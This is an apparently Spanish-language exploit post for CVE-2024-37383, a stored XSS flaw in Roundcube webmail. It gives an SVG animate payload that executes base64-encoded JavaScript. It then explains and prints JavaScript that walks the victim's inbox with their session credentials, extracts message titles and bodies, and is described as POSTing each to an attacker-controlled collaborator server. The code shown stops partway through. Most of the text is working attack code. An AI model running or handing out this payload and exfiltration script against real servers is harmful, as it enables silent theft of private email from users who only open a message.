
Exploit del servidor de correo Roundcube para CVE-2024-37383 (XSS almacenado)
La vulnerabilidad CVE-2024-37383 fue descubierta en el cliente de correo web Roundcube. Se trata de una vulnerabilidad de XSS almacenado que permite a un atacante ejecutar código JavaScript en la página del usuario. Para explotar la vulnerabilidad, el atacante solo necesita abrir un correo malicioso usando una versión del cliente Roundcube anterior a la 1.5.6 o de la 1.6 a la 1.6.6.
<svg>
<animate attributeName="href " values="javascript:eval(atob('BASE64_EXPLOIT_CODE'));" href="#link" />
</animate>
<a id="link">
<text x=20 y=20>Click me</text>
</a>
</svg>
Este código automatiza el proceso de recuperar todos los mensajes de la bandeja de entrada de un servidor Roundcube webmail y reenviar esos datos a un punto final específico de un servidor colaborador.
La URL principal del webmail (objetivo) y la URL del servidor receptor (servidoratacante) se definen como variables al inicio para una fácil configuración.
La función getPageCount envía una solicitud GET a la URL principal del webmail para obtener metadatos, incluyendo el número total de páginas (pagecount). Si se encuentra pagecount, procede a recorrer cada página.
Para cada página de 1 a pagecount, construye una URL paginada para solicitar esa página. La respuesta de cada página se verifica para encontrar instancias de add_message_row(NÚMERO) usando regex, extrayendo los IDs de mensaje de cada instancia y recolectando todos los IDs en una sola lista.
Para cada ID de mensaje, el código construye una URL para solicitar datos detallados sobre ese mensaje. Envía una solicitud GET para cada URL de ID de mensaje, recibiendo el HTML completo de la respuesta.
Dentro de cada respuesta de mensaje, usa regex para capturar el (título del mensaje) y el contenido principal del mensaje. Se eliminan todas las etiquetas HTML del contenido del mensaje para conservar solo el texto plano.
Para cada mensaje extraído, se realiza una solicitud POST al punto final del servidor con el título y el contenido del mensaje limpio, codificado en URL para una transmisión adecuada.
// Configuration variables
var target = 'https://webmail.redacted.tld';
var attackerserver = 'https://oastify.com';
function getPageCount(url) {
var req = new XMLHttpRequest();
// Configure the request with credentials
req.open('GET', url, true);
req.withCredentials = true;
// Define the response handler
req.onload = function() {
if (req.status === 200) {
try {
// Parse the response as JSON
let jsonResponse = JSON.parse(req.responseText);
// Access the pagecount field
let pageCount = jsonResponse.env.pagecount;
if (pageCount !== undefined) {
// Array to store all message IDs
let allMessageIds = [];
let completedRequests = 0; // Track the number of completed requests
// Loop to request each page
for (let page = 1; page <= pageCount; page++) {
(function(currentPage) {
var pageReq = new XMLHttpRequest();
// Construct the URL with the current page number
var paginatedUrl = `${url}&_page=${currentPage}`;
// Configure the request
pageReq.open('GET', paginatedUrl, true);
pageReq.withCredentials = true;
// Define the response handler for each page
pageReq.onload = function() {
if (pageReq.status === 200) {
try {
// Get the response text
let responseText = pageReq.responseText;
// Use a regex to find all instances of this.add_message_row(NUMBER)
let messageRowRegex = /this\.add_message_row\((\d+)/g;
let matches;
// Find all matches and extract the numbers
while ((matches = messageRowRegex.exec(responseText)) !== null) {
allMessageIds.push(matches[1]);
}
} catch (error) {
// Error handling for page processing
}
}
completedRequests++; // Increment completed request count
// Check if all requests are completed
if (completedRequests === pageCount) {
// Loop through all message IDs and create URLs using each one
allMessageIds.forEach(id => {
// Construct a new URL with the current message ID
const newUrl = `${target}/?_task=mail&_caps=pdf%3D1%2Cflash%3D0%2Ctiff%3D0%2Cwebp%3D1%2Cpgpmime%3D0&_uid=${id}&_mbox=INBOX&_framed=1&_action=preview`;
// Make a request for each constructed URL
(function(currentUrl) {
var messageReq = new XMLHttpRequest();
messageReq.open('GET', currentUrl, true);
messageReq.withCredentials = true;
// Define the response handler for the message request
messageReq.onload = function() {
if (messageReq.status === 200) {
// Get the response text
let messageResponseText = messageReq.responseText;
// Extract <title> content using regex
let titleMatch = messageResponseText.match(/<title>(.*?)<\/title>/);
let title = titleMatch ? titleMatch[1] : "No Title";